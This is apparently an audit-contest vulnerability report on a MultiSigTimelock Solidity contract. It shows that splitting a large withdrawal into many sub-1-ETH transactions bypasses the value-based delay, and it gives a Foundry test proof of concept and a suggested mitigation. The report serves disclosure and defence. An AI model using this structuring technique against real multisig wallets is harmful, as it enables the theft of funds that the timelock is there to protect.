MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: high
Likelihood: high

Timelock Bypass via Structuring

Author Revealed upon completion

Root + Impact

Description

The timelock mechanism determines the delay based on the valid of a single transaction value.

  • < 1 ETH: 0 delay

  • 1-10 ETH: 1 day

  • etc.

This logic is vulnerable to "structuring" (smurfing). An attacker (compromised signers) can bypass the 7-day delay for a large amount (e.g., 100 ETH) by splitting it into multiple smaller transactions (e.g., 101 transactions of 0.99 ETH). Since each individual transaction is below the 1 ETH threshold, they all get 0 delay and can be executed immediately.

This defeats the defense-in-depth purpose of the timelock, which is to provide a delay buffer for high-value outflows to allow detection and reaction (e.g., by the Owner revoking a compromised signer).

/// File: src/MultiSigTimelock.sol:409-423
function _getTimelockDelay(uint256 value) internal pure returns (uint256) {
// ...
} else if (value >= oneDayTimeDelayAmount) {
return ONE_DAY_TIME_DELAY;
} else {
return NO_TIME_DELAY; // @> Bypass for small amounts
}
}

Risk

Likelihood: High (Trivial to execute).
Impact: High (Complete bypass of the security module allowing instant drainage of wallet).

Proof of Concept

  1. Wallet holds 100 ETH.

  2. Signers want to drain 100 ETH instantly (bypassing 7-day lock).

  3. Signers propose 100 separate transactions, each transferring 1 ETH (or 0.99 ETH).

  4. All transactions have 0 delay.

  5. Signers confirm and execute all of them in the same block.

  6. Wallet is drained 100 ETH instantly.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {MultiSigTimelock} from "../../src/MultiSigTimelock.sol";
contract TestTimelockBypass is Test {
MultiSigTimelock public multiSig;
address public deployer;
address public alice;
address public bob;
function setUp() public {
deployer = makeAddr("deployer");
alice = makeAddr("alice");
bob = makeAddr("bob");
console.log("Deployer:", deployer);
console.log("Alice:", alice);
console.log("Bob:", bob);
vm.prank(deployer);
multiSig = new MultiSigTimelock();
console.log("Signing Role Hash:", vm.toString(multiSig.getSigningRole()));
vm.startPrank(deployer);
multiSig.grantSigningRole(alice);
multiSig.grantSigningRole(bob);
vm.stopPrank();
}
function test_TimelockStructuring() public {
uint256 amount = 0.9 ether;
address target = address(0x999);
vm.deal(address(multiSig), 10 ether);
vm.startPrank(deployer);
uint256 tx1 = multiSig.proposeTransaction(target, amount, "");
uint256 tx2 = multiSig.proposeTransaction(target, amount, "");
uint256 tx3 = multiSig.proposeTransaction(target, amount, "");
vm.stopPrank();
address[3] memory signers = [deployer, alice, bob];
for(uint i=0; i<3; i++) {
console.log("Signing as:", signers[i]);
vm.startPrank(signers[i]);
multiSig.confirmTransaction(tx1);
multiSig.confirmTransaction(tx2);
multiSig.confirmTransaction(tx3);
vm.stopPrank();
}
vm.prank(deployer);
multiSig.executeTransaction(tx1);
vm.prank(deployer);
multiSig.executeTransaction(tx2);
vm.prank(deployer);
multiSig.executeTransaction(tx3);
assertEq(target.balance, amount * 3);
assertGt(target.balance, 1 ether);
}
}

Recommended Mitigation

Implement a daily spending limit or a moving average / accumulated value check for the timelock. Alternatively, enforce a minimum delay for all transactions, or increase the delay for small transactions. A common pattern is to have a global delay for all non-admin actions, or track totalExitedAmount per epoch.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!